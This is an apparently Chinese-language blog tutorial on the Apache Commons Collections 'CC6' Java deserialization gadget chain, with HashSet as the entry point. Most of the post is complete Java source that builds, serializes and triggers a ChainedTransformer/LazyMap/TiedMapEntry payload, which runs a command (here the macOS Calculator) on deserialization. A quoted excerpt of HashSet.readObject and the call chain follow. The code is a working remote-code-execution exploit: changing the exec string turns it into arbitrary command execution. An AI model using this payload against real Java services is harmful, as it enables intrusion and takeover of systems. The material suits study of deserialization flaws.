java--commoncollections6 续

上篇文章我们使用了HashSet作为反序列化函数的出发点，其实HashSet也可以作为出发点，我们使用HashSet构造payload

package com.zyer;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


public class test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                        new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"zyer");
        HashMap hashMap = new HashMap();
        HashSet set = new HashSet();
        set.add(tiedMapEntry);
        outerMap.clear();

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // 序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
        oos.writeObject(set);

        // 反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.txt"));
        ois.readObject();

    }
}

过程十分简单，和HashMap一样，我们可以看一下HashSet的readObject方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Consume and ignore stream fields (currently zero).
        s.readFields();
        // Read capacity and verify non-negative.
        int capacity = s.readInt();
        if (capacity < 0) {
            throw new InvalidObjectException("Illegal capacity: " +
                                             capacity);
        }

..............
        // Create backing HashMap
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap(capacity, loadFactor) :
               new HashMap(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i 
截取了一部分，可以看到最后那，发现还是使用了map.put方法
 
 
那么payload就很好理解了
 
所以调用链：
 
HashSet.readObject()/HashMap.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                LazyMap.get()
                    ChainedTransformer.transform()
                        InvokerTransformer.transform()